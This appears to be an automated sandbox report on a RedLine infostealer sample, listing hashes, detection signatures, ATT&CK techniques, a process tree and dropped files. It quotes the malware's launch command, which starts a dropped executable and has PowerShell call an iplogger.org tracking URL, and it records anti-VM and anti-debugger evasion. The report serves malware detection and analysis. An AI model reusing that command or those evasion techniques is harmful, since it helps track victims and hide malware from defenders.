redline | 49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec

General

Target

49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec.exe
Size

2.6MB
MD5

8fbf01af64c7bb1289a26b1f7574ae9e
SHA1

bcb617c6977334e789f9eace561f1c931024b32c
SHA256

49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec
SHA512

0cdac73d08652435e48ea05dd73cc414a212c40dcc62b96c637a2a2cd35e24aafecdc99f1c9f023089bf16c6a9dc3b87dae5d38ffa58878820ec32c1cd1fbe62

Score

10^/10

redline evasion infostealer themida trojan

Malware Config

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/592-69-0x0000000000250000-0x0000000000950000-memory.dmp	family_redline

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Executes dropped EXE 1 IoCs

Processes:

Ww.exe

pid process

592 Ww.exe

pid	process
592	Ww.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Ww.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Ww.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Ww.exe

Loads dropped DLL 2 IoCs

Processes:

49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec.execmd.exe

pid process

832 49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec.exe
892 cmd.exe

pid	process
832	49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec.exe
892	cmd.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\Ww.exe	themida
C:\Users\Admin\AppData\Local\Temp\Ww.exe	themida
C:\Users\Admin\AppData\Local\Temp\Ww.exe	themida
behavioral1/memory/592-69-0x0000000000250000-0x0000000000950000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

Ww.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Ww.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

Ww.exe

pid process

592 Ww.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Ww.exepowershell.exe

pid process

592 Ww.exe
1900 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1900 powershell.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Ww.exe

pid	process
592	Ww.exe

pid	process
592	Ww.exe
1900	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1900	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec.execmd.exe

description	pid	process	target process
PID 832 wrote to memory of 892	832	49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec.exe	cmd.exe
PID 832 wrote to memory of 892	832	49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec.exe	cmd.exe
PID 832 wrote to memory of 892	832	49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec.exe	cmd.exe
PID 832 wrote to memory of 892	832	49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec.exe	cmd.exe
PID 892 wrote to memory of 592	892	cmd.exe	Ww.exe
PID 892 wrote to memory of 592	892	cmd.exe	Ww.exe
PID 892 wrote to memory of 592	892	cmd.exe	Ww.exe
PID 892 wrote to memory of 592	892	cmd.exe	Ww.exe
PID 892 wrote to memory of 1900	892	cmd.exe	powershell.exe
PID 892 wrote to memory of 1900	892	cmd.exe	powershell.exe
PID 892 wrote to memory of 1900	892	cmd.exe	powershell.exe
PID 892 wrote to memory of 1900	892	cmd.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec.exe
"C:\Users\Admin\AppData\Local\Temp\49ec761dd9f05eaac28aa93ec47034f754364726542b9de7cee5d6592bf0c4ec.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:832

C:\Windows\SysWOW64\cmd.exe
"cmd" /c start "" "Ww.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1BHHn7"
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:892

C:\Users\Admin\AppData\Local\Temp\Ww.exe
"Ww.exe"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:592

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1BHHn7"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1900

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

1

T1497

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Virtualization/Sandbox Evasion

1

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Ww.exe

MD5
55232b7cee343da1464106a4ef76e98f

SHA1
f2b672a29b86400d87f1f6dcde6341051770cd55

SHA256
96a2adaa6de0944e24be94cbf2c89e35babbea9e2cb00ddcdb560d9f33a362fc

SHA512
0c4bc94b9fc05cf59661a950520e9cef0a9e37c3307783cbc490d834a09852632467583b59fe836dce47b17e51407d1aa66b1b70ea8a0da3f5bf8e3a8ab13f8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Ww.exe

MD5
55232b7cee343da1464106a4ef76e98f

SHA1
f2b672a29b86400d87f1f6dcde6341051770cd55

SHA256
96a2adaa6de0944e24be94cbf2c89e35babbea9e2cb00ddcdb560d9f33a362fc

SHA512
0c4bc94b9fc05cf59661a950520e9cef0a9e37c3307783cbc490d834a09852632467583b59fe836dce47b17e51407d1aa66b1b70ea8a0da3f5bf8e3a8ab13f8c

Download Submit
\Users\Admin\AppData\Local\Temp\Ww.exe

MD5
55232b7cee343da1464106a4ef76e98f

SHA1
f2b672a29b86400d87f1f6dcde6341051770cd55

SHA256
96a2adaa6de0944e24be94cbf2c89e35babbea9e2cb00ddcdb560d9f33a362fc

SHA512
0c4bc94b9fc05cf59661a950520e9cef0a9e37c3307783cbc490d834a09852632467583b59fe836dce47b17e51407d1aa66b1b70ea8a0da3f5bf8e3a8ab13f8c

Download Submit
\Users\Admin\AppData\Local\Temp\nstEA2.tmp\HCSWCJXJIH35BU.dll

MD5
293165db1e46070410b4209519e67494

SHA1
777b96a4f74b6c34d43a4e7c7e656757d1c97f01

SHA256
49b7477db8dd22f8cf2d41ee2d79ce57797f02e8c7b9e799951a6c710384349a

SHA512
97012139f2da5868fe8731c0b0bcb3cfda29ed10c2e6e2336b504480c9cd9fb8f4728cca23f1e0bd577d75daa542e59f94d1d341f4e8aaeebc7134bf61288c19

Download Submit
memory/592-66-0x00000000779A0000-0x00000000779A2000-memory.dmp

Filesize
8KB

Download
memory/592-62-0x0000000077091000-0x0000000077092000-memory.dmp

Filesize
4KB

Download
memory/592-61-0x0000000077094000-0x0000000077095000-memory.dmp

Filesize
4KB

Download
memory/592-63-0x000000007611E000-0x000000007611F000-memory.dmp

Filesize
4KB

Download
memory/592-68-0x00000000744DE000-0x00000000744DF000-memory.dmp

Filesize
4KB

Download
memory/592-69-0x0000000000250000-0x0000000000950000-memory.dmp

Filesize
7.0MB

Download
memory/592-75-0x00000000052D0000-0x00000000052D1000-memory.dmp

Filesize
4KB

Download
memory/832-55-0x00000000763F1000-0x00000000763F3000-memory.dmp

Filesize
8KB

Download
memory/1900-70-0x0000000073861000-0x0000000073862000-memory.dmp

Filesize
4KB

Download
memory/1900-71-0x0000000002510000-0x0000000002511000-memory.dmp

Filesize
4KB

Download
memory/1900-72-0x0000000073862000-0x0000000073864000-memory.dmp

Filesize
8KB

Download
memory/1900-73-0x0000000002511000-0x0000000002512000-memory.dmp

Filesize
4KB

Download
memory/1900-74-0x0000000002512000-0x0000000002514000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads